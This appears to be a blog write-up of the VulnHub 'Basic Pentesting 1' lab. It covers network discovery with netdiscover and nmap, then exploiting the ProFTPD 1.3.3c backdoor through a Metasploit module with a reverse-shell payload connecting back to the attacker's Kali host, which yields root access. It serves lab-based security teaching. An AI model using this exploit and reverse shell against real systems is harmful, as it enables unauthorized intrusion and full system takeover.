BASIC PENTESTING 1:
INTRODUCTION:
Penetration testing is a cybersecurity technique used to find security weaknesses in systems and networks. In this experiment, a vulnerable virtual machine is used as the target system. Using tools available in Kali Linux, we discover the target machine, scan it for open services, identify vulnerabilities, and exploit them to gain access to the system.
MACHINE DOWNLOAD:https://www.vulnhub.com/entry/basic-pentesting-1,216/
Import the Machine into VirtualBox
Open Oracle VirtualBox.
Click File → Import Appliance or New Machine.
Select the downloaded vulnerable machine file (.ova or .vmdk).
Import the virtual machine into VirtualBox.
This machine will act as the target system.
Start the Virtual Machines
Start Kali Linux.
Ensure both machines are connected to the same network (NAT Network or Internal Network) so they can communicate with each other.
Command:- sudo → run command as administrator
Command:- su → switch user
Command:- netdiscover → To find the IP address of the system.
Command:- nmap -sC -sV -p-
This command finds:
open ports
services
service version
Command:- searchsploit proftpd 1.3.3c: searchsploit searches the ExploitDB database for known vulnerabilities.
This command Launches the Metasploit Framework, a tool used for exploitation.
Command:- msfconsole
Command: use exploit/unix/ftp/proftpd_133c_backdoor
Get Ishabhosale’s stories in your inbox
Join Medium for free to get updates from this writer.
Loads the exploit module that targets the ProFTPD 1.3.3c backdoor vulnerability.
Command: show payloads
Lists all payloads compatible with this exploit.
set payload cmd/unix/reverse → Chooses a reverse shell payload that makes the target machine connect back to the attacker (Kali).
set rhosts 192.168.1.16 → Specifies the target machine IP address that Metasploit will attack.
set lhost 192.168.1.12 → Specifies the attacker (Kali Linux) IP address where the reverse shell will connect.
set lport 4444 → Sets the listening port on Kali that waits for the reverse connection from the target machine.
show options → Displays all the settings for the selected exploit, such as RHOSTS, LHOST, LPORT, and payload.
run → Executes the exploit against the target machine using the configured settings.
shell → Opens an interactive command shell on the target machine after the exploit succeeds, allowing you to run system commands.
The shell shows command-line access to the target machine. It allows the user to run commands and view system information.
→ Through the shell we can see:
- Files and directories using ls
2. Current user name using whoami
3. User privileges using id
4. System information using commands like uname -a
ls → Lists the files and directories in the current folder on the target machine.
id → Displays the current user’s ID and privileges. If it shows uid=0, it means you have root access.
whoami → Shows the username of the currently logged-in user on the target system.
Successfully got a shell. Direct ROOT Access
Because this ProFTPD version is a root-level backdoor, it gives you instant root shell — no privilege escalation needed.
And that’s it — Basic Pentesting-1 fully rooted!
A simple and fun machine that teaches the importance of enumeration and recognizing vulnerable service versions.



